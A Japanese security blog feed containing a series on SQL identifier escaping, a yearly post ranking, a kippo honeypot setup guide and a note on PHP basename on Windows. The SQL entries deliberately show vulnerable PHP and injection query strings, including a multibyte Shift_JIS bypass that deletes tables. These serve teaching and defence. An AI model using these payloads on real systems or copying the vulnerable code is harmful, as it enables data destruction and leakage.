これから3回連載の予定で、SQL識別子のエスケープの問題について記事を書きます。SQL識別子のエスケープについてはあまり解説記事などがなく、エンジニア間で十分な合意がないような気がしますので、これらの記事が議論のきっかけになれば幸いです。
3回の予定は以下のとおりです。
  • 間違いだらけのSQL識別子エスケープ(本稿)
  • SQL識別子エスケープのバグの事例
  • SQL識別子は結局どうすればよいか
ということで、まずはSQL識別子のエスケープの失敗例について説明します。この失敗例はあくまで説明のために作ったもので、実際のものではありません。また、想定が「ありえない」と思われるかもしれませんが、意図的なものですのでご容赦いただければと思います。また、「間違いだらけの」というタイトルは、今回の題材が間違いだらけという意味であり、巷のSQL呼び出しがそうであるという意味ではありません。本稿に登場する人物と団体は全て架空のものです。

SQL識別子のクォートとエスケープ

SQLの識別子(テーブル名や列名など)には、引用符で囲う形式と囲わない形式があります。以下のいずれかに該当する場合は、識別子を引用符(標準ではダブルクォート)で囲む必要があります。引用符で囲むことを「クォートする」と呼びます。
  • 識別子が予約語になっている場合(例: "table")
  • 識別子に記号が含まれる場合(例: "j&j")
  • 識別子が数字で始まる場合(例: "0x")
さらに、識別子中に引用符が含まれる場合は、引用符を重ねます(例: "x""y")。この引用符を重ねる処理を「識別子のエスケープ処理」と呼ぶことにします。
MySQLの場合は、デフォルトでは、ダブルクォートを文字列リテラルを囲む目的で使うため、識別子はバッククォートで囲みます。このため、先の例はそれぞれ、`table`、`j&j`、`x"y`、`0x`となります(ただし、MySQLは数字で始まる識別子を引用符で囲まなくてもエラーにならないようです)。識別子にバッククォートを含む場合は、`x``y`のようにバッククォートを重ねます。後述するように、ANSI_QUOTESモードを設定している場合は、ダブルクォートは識別子のクォートに使えるようになります。

脆弱なスクリプトの説明

ここで脆弱なスクリプトについて説明します。とある地域の観光協会では、春・夏・秋・冬の季節毎にホームページの表示を切り替えており、コンテンツは、それぞれtb1、tb2、tb3、tb4という季節毎のテーブルに格納されています。
このため、表示スクリプトは、season=tb1 のようにテーブル名を指定して、そのテーブルの内容を表示しています。スクリプトを以下に示します(注: このスクリプトには脆弱性があります)。
<?php
header('Content-Type: text/html; charset=Shift_JIS');
$table = $_GET['season'];
try {
$db = new PDO("mysql:host=xxxxx;dbname=db;charset=sjis", "xxxx", "xxxx");
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = "SELECT * FROM $table";
$ps = $db->query($sql);
// 検索結果の表示
} catch (Exception $e) {
echo htmlspecialchars($e->getMessage(), ENT_COMPAT, 'Shift_JIS');
}
スクリプトの呼び出しは、http://example.jp/search.php?season=tb2 のように行います。この場合、呼び出されるSQL文は下記となります。
SELECT * FROM tb2

単純なSQLインジェクション

このスクリプトを運用してしばらくすると、コンテンツの内容が消去されるという不正アクセスが発生しました。アクセスログを調べると、以下のリクエストが原因のようです。
/search.php?season=tb2;delete+from+tb2
この際に生成されるSQL文は以下となります。
SELECT * FROM tb2;delete from tb2
SELECT文に続き、DELETE FROM文が追加されています。PDO+MySQLの場合、複文の実行が可能なので、テーブルtb2の内容は全て削除されてしまいました。

観光協会は地元のセキュリティ会社に相談したところ、テーブル名を`で囲むと良いとアドバイスを受けました。該当の箇所は下記となります。
  $sql = "SELECT * FROM `$table`";
この場合、左記の攻撃リクエストの結果生成されるSQL文は下記となります。
SELECT * FROM `tb2;delete from tb2`
`tb2;delete from tb2`がテーブル名として解釈されますが、この名前のテーブルは存在しないのでエラーにはなりますが、SQL文の構造は変化せず、SQLインジェクション攻撃は成立しなくなりました。

バッククォート「`」によるSQLインジェクション

観光協会はこの状態でしばらく運用をしていましたが、再度コンテンツが削除されるという不正アクセスがありました。今度は以下のリクエストが問題のようでした。
/search.php?season=tb2`;delete+from+tb2%23
tb2の後に「`」が追加されています。生成されるSQL文は下記の通りです。
SELECT * FROM `tb2`;delete from tb2#`
今度は、外部から注入された「`」で識別子の引用符が閉じられて、その後の文字列が追加のSQL文と解釈されていました(#以降はコメント)。
観光協会は再度地元のセキュリティ会社に相談に行くと、「識別子のエスケープをしていないのが原因だ。識別子のエスケープは世界の常識です。」と言われてしまいました。だったら先に教えてくれればいいのにとは思いましたが、識別子のエスケープの方法を教えてもらって、スクリプトに組み込みました。
// 識別子エスケープ関数
function escape_ident($id) {
return preg_replace('/`/', '``', $id);
}
// 中略
$etable = escape_ident($table);
$sql = "SELECT * FROM `$etable`";
この結果、生成されるSQL文は下記となります。
SELECT * FROM `tb2``;delete from tb2#`
バッククォート「`」が重ねられた結果、`tb2``;delete from tb2#`がテーブル名と解釈されるようになり、SQLインジェクション攻撃は防げるようになりました。

文字エンコーディングの取り扱い不備によるSQLインジェクション

観光協会のホームページはしばらく平穏な日々が続きましたが、またしてもデータが全て削除される事件が起こってしまいました。
今度の原因は次のリクエストのようでした。
search.php?season=%8d%60;delete+from+tb2%23
生成されたSQL文は下記の通りです。%8d%60 は、Shift_JISで「港」という文字になります。運の悪いことに、「港」という名前のテーブルが元々あったのです(わざとらしい想定スマソ)。
SELECT * FROM `港`;delete from tb2#`
港は良いとして、その後に「`」が追加されているのは、どうしてでしょうか?
その秘密は「港」の2バイト目の%60にあります。これ、実は、バッククォート「`」と同じコードなのです。preg_replaceの文字列置換の際に文字エンコーディングを考慮していないので、「港」の2バイト目を「`」と見なして、これを重ねる処理をしてしまったのでした。
地元のセキュリティ会社では、最初「文字エンコーディングのバリデーションががが」と言っていましたが、攻撃文字列はShift_JISとしてはバリッドでありバリデーションでは防御できないことがわかり、preg_replaceではなくmb_ereg_replaceを使ってエスケープ関数を書き換えました。
function escape_ident($id) {
mb_regex_encoding('Shift_JIS');
return mb_ereg_replace ('`', '``', $id);
}
また、バッククォート「`」は文字コードが0x60でShift_JISの2バイト目になることがあるため、予防的対策として、MySQLをANSI_QUOTESモードに設定して、識別子はダブルクォート「"」で囲むことにしました。
ANSI_QUOTESモードの設定は、my.cnfに以下を設定します。
sql-mode="ANSI"
これにあわせて、SQL文組み立ての式を以下のように変更しました。
$sql = "SELECT * FROM \"$etable\""
ダブルクォートの文字コードは0x22なので、Shift_JISの2バイト目に重なることはありません。

MySQLの設定考慮漏れに起因するSQLインジェクション

観光協会のホームページはしばらく平穏な日々が続きましたが、またしてもデータが全て削除される事件が起こってしまいました。
今度の原因は次のリクエストのようでした。
/search.php?season=tb2";delete+from+tb2%23
生成されたSQL文は下記の通りです。
SELECT * FROM "tb2";delete from tb2#"
識別子をダブルクォートで囲むように変更した際に、エスケープの対象文字もダブルクォートに変更しておかなければならなかったのですが、それを忘れていたのが原因でした。その変更を入れたところ、攻撃はできなくなりました。

任意テーブルの情報漏洩

観光協会のホームページはしばらく平穏な日々が続きましたが、今度はデータベースに保存された個人情報が漏えいするという事故が起こってしまいました。
今度の原因は次のリクエストのようでした。
/search.php?season=users
生成されたSQL文は下記の通りです。
SELECT * FROM "users"
usersというテーブルには、ホームページに会員登録したユーザーの個人情報が登録されています。単純な攻撃ですね。
観光協会は、あわててサイトをいったん閉鎖して、個人情報漏洩の告知など事後対処に追われました。

最終的にどうしたか

結局、任意のテーブル名を外部から指定できる実装に問題があるということになり、こちらの記事を参考にして、季節は1~4の番号で指定する仕様に変更しました。そうすると、テーブル名を引用符で囲むこともエスケープも不要になりました(下記)。アプリケーション内部で使用する文字エンコーディングがShift_JISであることもよくないので、UTF-8に変更しました(コードは省略します)。
$season_tables = array(1 => 'tb1', 2 => 'tb2', 3 => 'tb3', 4 => 'tb4');
$season = $_GET['season'];
if (! isset($season_tables[$season])) {
die('invalid "season"');
}
$table = $season_tables[$season];
$sql = "SELECT * FROM $table";

とりあえずのまとめ

テーブル名を外部から指定できる実装のアプリケーションを題材として、SQL識別子の扱いを原因とするSQLインジェクション攻撃と、間違った対策例を紹介しました。具体的には下記の通りです。

  • 識別子のクォートもれ
  • 識別子のエスケープもれ
  • 識別子エスケープの際の文字エンコーディング対応不備
  • MySQLのANSI_QUOTESモードの考慮洩れ
  • 外部から指定するテーブル名の権限のチェック洩れ

本稿では、このアプリケーションの最終的な実装を示しましたが、一般論としてSQL識別子をどう扱うのが良いかについては、稿を改めて説明します…が、その前に、次回は、SQL識別子のエスケープもれによる不具合の実例を紹介します。

SQL識別子エスケープのバグの事例

$
0
0
昨日のエントリに続いてSQL識別子のエスケープの話題で、今回は著名アプリケーションにおけるSQL識別子のエスケープ処理のバグについてです。

MySQL Workbenchには識別子のエスケープに関するバグがあった

以下の画面は、MySQLが提供するMySQL Workbenchの旧バージョン(5.2.34)の様子です(CentOS6.5上で動作)。MySQL WorkbenchはWebアプリケーションではなく、下図からも分かるようにGUIツールです。

下図では a`b というテーブルの内容を表示しようとして、エラーが表示されています。


生成されているSQL文は下記の通りです。
SELECT * FROM `db`.`a`b`;
これは駄目ですね。SQL識別子中に引用符がある場合は、引用符を重ねるのがルールでした。つり、正しくは以下であるべきです。
SELECT * FROM `db`.`a``b`;
ということで、これはMySQL Workbench 5.2.34のバグですね。最新の6.0.8(Windows版)で確認したところ、テーブル名は正しくエスケープされていました。MySQL謹製のソフトで、まさか、識別子のエスケープを考慮していないなんてとびっくりしました。

識別子のエスケープ漏れによるSQLインジェクション

上記の例では、「b`」の部分が識別子から「あふれた」状態になっていてSQL文としては不正なためにエラーになっていますが、この部分のつじつまを合わせてやることで、SQLインジェクション攻撃(?)が可能になりそうです。
その具体例として、bbs.usersというテーブルがあったとして、その内容をUNION SELECTを用いて読み出してみましょう。できあがりのSQL文は下記を想定します。
SELECT * FROM `db`.`a`union select * from bbs.`users`;
これを実現するには、上記の赤字部分を名前とするテーブルを作ればよいことになります。テーブルの定義はどうでもよく、名前だけが問題ですので、例えば下記によりテーブルを作成します。ここでは、識別子中の「`」のエスケープをお忘れなく。
CREATE TABLE `a``union select * from bbs.``users` (x int);
次に、aというテーブルが必要です。bbs.usersと列の数と型を合わせて、以下によりテーブルaを作成します。
CREATE TABLE a  (x varchar(64), y varchar(64), z varchar(64));
ここまで準備をして、テーブル「a`union select * from bbs.`users」をMySQL Workbenchにて表示させると、このテーブルではなく、bbs.usersが表示されます(下図)。x, y, zとして、ID、パスワード、メールアドレスが表示されています。


SQL文の構造が変化しているので、SQLインジェクションの一種と言えそうですが、これが脆弱性かというと微妙なところです。利用者は元々 bbs.users を閲覧する権限があるからです(下図)。


MySQL Workbenchの識別子エスケープ漏れは脆弱性か?

ここで、このバグが脆弱性としてどの程度の影響度があるかについて検討します。前回のエントリでは、識別子のエスケープミスに起因して、SQLインジェクション攻撃によりデータの削除ができる例を示しましたが、SQLインジェクション攻撃によりデータの漏えいも可能でした。これらは、利用者が元々持っている権限を越えた操作ができることが問題でした。

一方、MySQL Workbenchの場合は、識別子のエスケープバグを使わなくても、利用者は元々任意のSQL文を実行できます。すなわち、わざわざSQLインジェクションというややこしいテクニックを使う動機が利用者にはありません。別の言い方をすると、「SQLインジェクション脆弱性があっても脅威は増加しない」ということです。このことから、MySQL Workbenchのエスケープバグは、重大な脆弱性とまでは言えない、と考えられます。

識別子のエスケープ漏れと脆弱性の関係

さて、私がMySQL Workbenchの識別子エスケープバグを紹介した理由は、識別子のエスケープバグと脆弱性の関係を整理する上で役に立つと考えたからです。

そもそも、SQL識別子のエスケープを意識しなければならないケースというのは、外部からSQL識別子(表名、列名など)を指定できるアプリケーションであると考えられます。そして、識別子を利用者が自由に指定できるか、識別子に関して制限があるかが問題になります。

利用者が識別子を自由に設定できるケースの典型例がデータベース管理ツール(phpMyAdminやMySQL Workbench等)であり、この場合は元々利用者が任意のSQL文を実行する権限を持っているので、仮にSQLインジェクションができたとしても、それ単独では重大な脆弱性とまでは言えません。

一方、利用者が自由にSQL識別子を指定できるが、利用者はDBに限定的なアクセス権しか与えられていないケースです。これは、前回紹介した「観光協会のホームページ」がそのケースに該当しますが、「自由にSQL識別子を指定できる」こと自体が問題という結論でした。

まとめ

SQL識別子のエスケープを考慮しなければならないケースの典型例として、DB管理ツールがありますが、DB管理ツールは利用者が任意のSQL文を実行できる権限があるため、SQLインジェクションが単体では重大な脆弱性とは言えません。一方、一般のアプリケーションにおいては、利用者は任意のSQL文を実行する権限がありませんが、この場合、利用者が自由にSQL識別子を指定できることが問題なのではないかと考えました。
次回は、この問題をさらに整理して、SQL識別子のエスケープをどのように考えればよいかを検討します。


SQL識別子は結局どうすればよいか

$
0
0
今まで2回にわたって、SQL識別子のエスケープの問題を取り上げました。
3回目となる本稿では、SQL識別子の取り扱いに関する問題を整理して、一般的な原則を導きたいと思います。

SQL文が動的に変化する場合のSQLインジェクション対策

「間違いだらけの…」で示したように、識別子エスケープが必要な局面でそれが洩れていると脆弱性の要因になることがありますが、それは外部から指定したデータにより、SQL文の構造が変化してしまい、アプリケーションの要件にないSQL呼び出しがなされてしまうからでした。
しかし、「間違いだらけ…」の後半で示したように、識別子のエスケープだけではセキュリティ問題を防ぐことはできず、情報漏洩を招いてしまいました。外部から任意のSQL識別子を指定できることが問題という結論でした。
上記のように、アプリケーションでのSQL文組み立てにおいては、以下を考慮する必要があります。
  • SQL文を構成するリテラル、識別子、予約語などを正しく構成する(条件A)
  • テーブルや列、行などの権限があることを保証する(条件B)
私が普段推奨しているSQLインジェクション対策は下記の通りですが…
  • 文字列連結でSQL文を組み立てるな(原則1)
  • パラメータはプレースホルダで指定せよ(原則2)
これらにより、SQL文は固定になるので、前記の条件Aと条件Bを満たしていることは容易に確認でき、外部からのパラメータにより変化させることはできなくなります。

しかし、アプリケーションの要件によっては、条件によりSQL文が変化する(例:検索条件が変わる、ソート列が変わる)などの理由で上記原則に沿えない場合もあります。その場合には、どうすれば確実にSQLインジェクションを防ぐことができるか、ということが一連の議論のテーマです。

識別子やリテラルのエスケープ処理はSQL文を変化させないことが目的

SQLの識別子やリテラルのエスケープ処理は、SQL文を正しく構成するために必要なSQLの基本文法ですが、SQLインジェクション対策としてエスケープ処理が必要になる場合がある理由は、エスケープ処理を怠ると、SQL文の構造が変わってしまう場合があるからです。

SQLリテラルのエスケープもれの例
$sql = "SELECT * FROM books WHERE author='$author'";
 上記に対して、$author = "'; delete from books#"とすると、以下のSQL文ができあがります。
SELECT * FROM books WHERE author=''; delete from books#'
第2のSQL文が追加されるという形で、SQL文の構造が変化しています。
一方、SQL識別子のエスケープ漏れの例(MySQLを想定)
$sql = "SELECT * FROM `$booktable`"
上記に対して、$booktable = "books`; delete from `books"とすると、以下のSQL文ができあがります。
SELECT * FROM `books`; delete from `books`
やはり、第2のSQL文が追加されるという形で、SQL文の構造が変化しています。

文字列リテラルや識別子のエスケープ処理を正しく行うと、SQL文の構造を変化させることはできなくなります。しかし、識別子に関しては、エスケープ処理だけでは条件Aは満たせますが、条件Bは通常満たせません。

SQL識別子に関しては「もっと良い方法」がある

そもそも、SQL識別子をエスケープ処理しなければならない局面は以下であると考えられます。
  • データベース管理ツールを作成していて、識別子はユーザ入力である(局面1)
  • アプリケーション内でテーブル名や列名をジェネレートしており、これらを構成する文字として引用符が使われる可能性がある(局面2)
局面1の典型例は、phpMyAdminやMySQL Workbenchを作成する場合ですが、これは識別子のエスケープ処理は必須ですね。しかし、この種のツールを作る人であれば、当然識別子のエスケープ処理くらいは知っているだろう…と思っていただけに、MySQL Workbenchの識別子のエスケープもれがあったことは驚きでした。しかし、前述のようのように、幸い重大な脆弱性とまでは言えません。データベース管理ツールを作る開発者はまれだと思われるので、この件は本稿ではこれ以上触れません。

局面2についてはですねぇ…「わざわざ、そんなややこしいことするな!」と言いたいですね。引用符どころか、識別子を構成する文字は英数字とアンダースコアに限定すればよいでしょう。加えて、識別子がSQLの予約語と衝突しないように工夫すれば、識別子をクォートする必要もありません。「予約語と衝突しない工夫」とは、例えば接頭辞(prefix)をつけることです。例えば、WordPressで用いるテーブルは標準でwp_という接頭辞がつきますが、wp_で始まるSQL予約語はないため、識別子が予約語と衝突しないことを保証できます。

識別子が正しく構成されることを保証する方法1: 入力値検証

とはいえ、識別子を構成する文字を英数字とアンダースコアに限定するだけでは、外部由来の文字列で組み立てた識別子が正しく構成されていることを保証できません。そのためのアプローチの一つとして、入力値検証による方法が考えられます。ここでは「入力値検証」という用語をプログラムの入り口で行うバリデーション(フォームバリデーション)という意味で用います。

例えば、「間違いだらけの…」に出て来たアプリケーションはテーブル名がtb1、tb2、tb3、tb4のいずれかなので、以下の正規表現で入力値を検証するという方法があります(正規表現では\Aと\zはそれぞれデータの先頭と末尾を示します)。
\Atb[1-4]\z
最初からこのチェックを入れておけば、識別子のクォートもエスケープも必要なく、利用者がアクセスできるテーブルも正しく制限できるのですが、この方法を紹介しなかったのは、理由があります。

「入力値検証」によるSQLインジェクション対策の課題

前述のように、入力値検証で、テーブル名がtb1、tb2、tb3、tb4のいずれかであることを検証すると、SQLインジェクションや権限外のテーブルへのアクセスは防げますが、入力値検証のみに頼った対策の場合、以下の課題があります。
  • 入力値検証とSQL文組み立てはソースコード上の場所が離れている場合が多く、確認がしにくい
  • 入力値検証と、組み立て後のSQL文の妥当性の関係が自明でない場合、仕様や実装の不備により脆弱性となりやすい
  • 入力値検証とSQL組み立ては担当者が異なる可能性があり、仕様理解に差異があると、脆弱性混入の原因になる
  • SQL文の妥当性は、SQL文組み立ての箇所で担保されるべきである
と言う理由から、入力値検証はアプリケーション要件として淡々と実装しつつ、SQL文の妥当性を保証する仕組みは、SQL文組み立てのところに組み込むべきであると考えます。

識別子が正しく構成されることを保証する方法2: 外部由来の値をSQL文に混ぜない

識別子が正しく構成されることを保証する(その結果SQLインジェクション脆弱性を防ぐ)方法の第2は、外部由来の値を直接SQL文中に混ぜないというものです。具体的には、(1)表名・列名は配列やハッシュに保持する、(2)if文やswitch文でハードコーディングする、(3)データベース上に辞書として保持するなどの実装が考えられますが、他の条件も含めて決めればよいでしょう。

表名や列名の候補が非常に多く、配列やハードコーディングで保持できない場合は、少し妥協して以下のような実装でもいいでしょう(推奨という程ではありません)。
$ident = sprintf("tb%03d", $n);
ただし、%d書式による数値化があるので安全なのであって、%s書式だと結局「外部由来の値をSQL文に混ぜている」ことになるので駄目です。

上記の方法でSQL文中の識別子を生成することにより、入力値検証にバグやもれがあっても、最悪SQLインジェクションは防げることになり、安全性が高い設計と言えます。さらに、条件Bとして説明した「権限のない表や列へのアクセスを防ぐ」こともあわせて実装されます(*1)。

なお、本稿では詳しく説明しませんが、SQL文中の予約語を指定する場合についても、同様の方法で安全に扱うことが可能です。

*1 ただし、複雑な認可処理はこれだけでは実現できないので、アプリケーションロジックによる認可の仕組みが必要です。

※ そもそも、表名や列名などの識別子は実装上の都合で決まる(決めて良い)ものであり、その名前を外部に露出することは好ましくない考えます。

蛇足: SQL識別子エスケープの困難性

現実問題として、SQLの識別子を正しくエスケープすることは難しい場合があります。一般に、SQLの(識別子ではなく)文字列リテラルのエスケープには、手作りのエスケープ関数を使わず、専用のAPIを呼び出すことが推奨されます(更に言えばプレースホルダを推奨しますが…)が、識別子のエスケープ用APIは、PHPのPostgres関数にはある(pg_escape_identifier関数。PHP5.4.4以降)ものの、他の言語やデータベースではあまり見かけません。
ということは、識別子のエスケープには手作りのエスケープ関数を使わなければならない可能性が高いわけですが、「間違いだらけの…」で指摘したような考慮点が多いため、その意味でもできるだけ避けるべきでしょう。

まとめ

SQLの識別子の扱いについて検討しました。
  • SQLの識別子に使う文字は、英数字とアンダースコアに限定する
  • 外部からの値から識別子を生成する場合は、表名の配列などを使用することにより、外部由来の値を識別子に(ひいてはSQL文に)混ぜないこと
  • SQL予約語についても同様に扱う
  • SQL文に指定する値はプレースホルダを用いる
上記の単純系が、冒頭にも紹介した初心者向けのガイドラインということになります。
  • 文字列連結でSQL文を組み立てるな
  • パラメータはプレースホルダで指定せよ
ということで、SQL識別子のエスケープは、SQLインジェクション対策という文脈では重要ではなく、むしろ、安全なSQL組み立ての方法を具体的に説明することが重要と考えます。


今年のページビューランキング上位15を発表します

$
0
0
2013年も終わりですので、徳丸浩のブログの今年のページビューランキング上位15を発表します。
  1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
  2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
  3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について
  4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
  5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
  6. ロリポップ上のWordPressをWAFで防御する方法
  7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
  8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
  9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
  10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
  11. SQLの暗黙の型変換はワナがいっぱい
  12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
  13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
  14. Evernoteのテキストを暗号化する方法
  15. IE10にはパスワード表示ボタンが付いている
ランキング入りしたエントリの分類をしてみました。まず、侵入事件関連のものがやはり関心を集めたようです。上記には、ロリポップ、Yahoo!ジャパン、Evernoteの侵入事件に関連したものがあります。

ロリポップ事件
1. ロリポップのサイト改ざん事件に学ぶシンボリックリンク攻撃の脅威と対策
6. ロリポップ上のWordPressをWAFで防御する方法
    Yahoo!侵入事件
    4. ヤフー株式会社様に「秘密の質問と回答」に関して要望します
    8. Yahoo!ジャパンの「秘密の質問と答え」に関する注意喚起
      Evernote暗号化(Evernoteへの侵入を受けて)
      14. Evernoteのテキストを暗号化する方法
        また、パスワードリスト攻撃の多発に伴い、パスワードネタも良く読まれました。
        2. パスワードの定期的変更について徳丸さんに聞いてみた(1)
        7. eBook Japanの発表資料に見るパスワードリスト攻撃の「恐ろしい成果」と対策
        10. パスワード攻撃に対抗するWebサイト側セキュリティ強化策
        15. IE10にはパスワード表示ボタンが付いている
        改ざん事件の多発にともない、弊社サイトにinotifywaitを用いた改ざん検知を導入しました。これはリアルタイムの改ざん検知の仕組みですが、tripwireのオープンソース版も導入しています。
        13. 多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した
          定番のSQLインジェクションネタ。5と11は古いネタですが、安定して読まれています。どちらも私にとって思い入れの深いエントリです。
          5. そろそろSQLエスケープに関して一言いっとくか: SQLのエスケープ再考
          11. SQLの暗黙の型変換はワナがいっぱい
          12. SQLインジェクションゴルフ - なんと3文字で認証回避が可能に
            セッション固定攻撃(Session Fixation Attack)に関連して、HTTPSを使っているとCookieの改変を受容しなければならず、セッション固定対策が必須になるというエントリもランクインしています。
            9. HTTPSを使ってもCookieの改変は防げないことを実験で試してみた
              イケダハヤトさんネタも関心を集めたようですw
              3. イケダハヤトさんへの手紙 : 敵意ある他者との対話について
                今年はみなさまに大変世話になりました。来年もよろしくお願いいたします。
                それでは、みなさま、良いお年を。


                digitalOceanクラウド上に安く簡単にkippoハニーポットを構築する

                $
                0
                0
                ozumaさんの公開された抱腹絶倒のスライド資料「さくらのVPSに来る悪い人を観察する その2」が凄い人気で、ブクマコメントなどで「ぼくもやってみたい」という希望が多いようです。既に、同じozumaさんが「sshハニーポットをkippoで作ってみる」というエントリで作り方(CentOS6.4想定)を公開されていますが、pythonのモジュールのセットアップなど少し難しいという人がいるかもしれません。

                それ、digitalOcean + Ubuntuならもっと簡単に安く(しかも安全に)できるよ

                ということで、簡単・安い・安全な kippoハニーポットの作り方を説明します。digitalOceanは一時間約1円の完全従量制なので、お財布も安心ですw

                digitanOceanのアカウントを作成する

                こちらを参考にdigitalOceanのアカウントをご用意ください。こちらのリンクからアカウントを作成いただけると、私が喜びますw digitalOceanは、完全従量制なので、アカウントを作成した時点では、課金は発生しません。

                kippo用のインスタンス(Droplet)を作成する

                digitalOceanのコントロールパネルからCREATEというパネルをクリック(あるいはこちらのリンク)して、インスタンスを作成します。
                Hostname: kippo                   ← なんでもよい
                Select Size: 512MB / 1 CPU  ← できるだけお安いもの
                Select Region: New York 2     ← サンフランシスコリージョンが使えないようなのでNew Yorkで
                Select Image
                Linux Distributions: Ubuntu
                Ubuntu 12.04.3 x32              ← Ubuntu 12.04.03 32ビットを選択
                Settings: そのままでよい
                この状態で、Create Dropletのパネルをクリックするとインスタンスが作成されます。課金はこの時点から始まります。
                IPアドレスとrootパスワードがメールで送信されてくるので、それを用いてセットアップします。

                Ubuntuのセットアップ

                適当なターミナルソフトで、rootでログインしてください。

                まず、Ubuntuのアカウントを2つ作成します。1つは管理者(ここでは yamada とします)、もう1つはkippo実行用のユーザ(kippo)です。
                # adduser yamada    ← 一般ユーザの管理者。パスワードはしっかり管理
                # gpasswd -a yamada sudo    ← yamadaをsudo可能なグループに追加
                # adduser kippo       ← kippo実行用ユーザ。パスワードは捨てて良い
                # passwd                            ← rootパスワードを変更しておく。捨てて良い
                次に、sshのポート番号を変更します。sshのデフォルトポート番号22は kippoに食わせるので、本当のsshのポート番号は別の番号(ここでは10022)に変更します。
                # vi /etc/ssh/sshd_config

                ##Port 22       ← コメントアウト
                Port 10022     ← 追加

                # service ssh restart
                ここで、別のターミナルを起動して、管理用ユーザ(yamada)でログインします(ポート番号の変更をお忘れなく)。sudoできることを確認します。
                yamada@kippo:~$ sudo whoami
                root                                     ← これを確認した段階で root側の端末はexitして良い
                yamada@kippo:~$
                kippoに必要なモジュールを追加します。下の2つはdigitalOceanだと予めインストールされているようです。
                yamada@kippo:~$ sudo apt-get update
                yamada@kippo:~$ sudo apt-get -y install python-crypto
                yamada@kippo:~$ sudo apt-get -y install python-twisted
                yamada@kippo:~$ sudo apt-get -y install python-zope.interface
                yamada@kippo:~$ sudo apt-get -y install python-pyasn1
                kippoはデフォルトで2222番ポートを使うため、iptablesを使って、22 ポートを 2222 ポートにリダイレクトしておきます。
                yamada@kippo:~$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 22 -j REDIRECT --to-port 2222
                ここまでで下準備は終わりです。

                kippoのインストール

                kippoでログインします。
                yamada@kippo:~$ sudo su - kippo
                kippoをダウンロード、展開。
                kippo@kippo:~$ wget http://kippo.googlecode.com/files/kippo-0.8.tar.gz
                kippo@kippo:~$ tar xf kippo-0.8.tar.gz
                kippo@kippo:~$ cd kippo-0.8/
                ログファイルの設定を変更します。
                kippo@kippo:~/kippo-0.8$ vi kippo.cfg
                ※ ファイルの末尾にジャンプ
                [database_textlog]            ← コメントアウトの#を消す
                logfile = kippo-textlog.log    ← 同上
                ここまでで kippoの導入は終わりです。

                ここでいったんシャットダウンして、digitalOceanのイメージを作成しておくとよいでしょう。イメージがあれば、いつでもインスタンスは復元できます。インスタンス(Droplet)を削除すると課金が止まります。

                kippoの起動

                kippoをインストールしたディレクトリに start.sh という起動シェルがあります。
                kippo@kippo:~/kippo-0.8$ ./start.sh   ← kippoの起動
                Starting kippo in background...Loading dblog engine: textlog
                Generating RSA keypair...
                done.
                kippo@kippo:~/kippo-0.8$

                監視する

                kippo@kippo:~/kippo-0.8$ tail -f kippo-textlog.log

                色々遊ぶ

                インスタンスのポート22にsshでログインしてください。デフォルトパスワードは124356です。
                nas3:~# w定番の w コマンド
                 00:32:10 up 0 min,  1 user,  load average: 0.00, 0.00, 0.00
                USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
                root     pts/0    xxx.xxx.xxx.xxx   00:31    0.00s  0.00s  0.00s w
                nas3:~# wget http://example.jp/
                --2014-01-07 00:32:16--  http://example.jp/
                Connecting to example.jp:80... connected.
                HTTP request sent, awaiting response... DNS lookup failed: address 'example.jp' not found: [Errno -2] Name or service not known.
                nas3:~# ps -ef
                 PID TTY         TIME COMMAND
                5673 pts/0       0:00 -bash
                5679 pts/0       0:00 ps -ef
                nas3:~# exit

                ログを見て楽しむ

                kippo@kippo:~/kippo-0.8$ tail -f kippo-textlog.log  (続き)
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:31:48]: New connection: xxx.xxx.xxx.xxx:xxxx
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:31:58]: Login failed [root/admin]
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:04]: Login succeeded [root/123456]
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:05]: Terminal size: 90x35
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:10]: Command [w]
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:16]: Command [wget http://example.jp/]
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:32:41]: Command [ps -ef]
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:33:14]: Command [exit]
                01429996775d11e3b8c304010e82e801 [2014-01-07 00:34:16]: Connection lost

                kippoを終了する

                以下のコマンドで kippo を終了できます。
                kippo@kippo:~/kippo-0.8$ kill `cat kippo.pid`
                kippo@kippo:~/kippo-0.8$

                まとめ

                kippoをDigitalOcean上のUbuntu12.04に導入、実行する方法を紹介しました。
                DigitalOceanの一番安いプランだと、1時間約1円の完全従量ですので、お安く、安全にkippoを楽しむことができます。飽きたらインスタンスをシャットダウンして、イメージ取得の後インスタンスを削除しておけば、課金は発生しません。
                それでは、楽しいハニーポットライフを!

                Windows版PHPのbasename関数はドライブレターを除去しない場合がある

                $
                0
                0
                Windows版PHPのbasename関数は、パス名にディレクトリセパレータ(「\」および「/」)がない場合、ドライブレター(「C:」など)を除去しないことが分かりました。

                具体的には、basename('c:autoexec.bat') の結果は、引数そのまま c:autoexec.bat となります。一方、basename('c:\autoexec.bat') の結果は、autoexec.bat と、期待通りの結果となります。

                これにより、以下のようなスクリプトに対しては、c: などドライブレターが取り除かれないことになります。
                $file = $_GET['file'];
                readfile(basename($file));
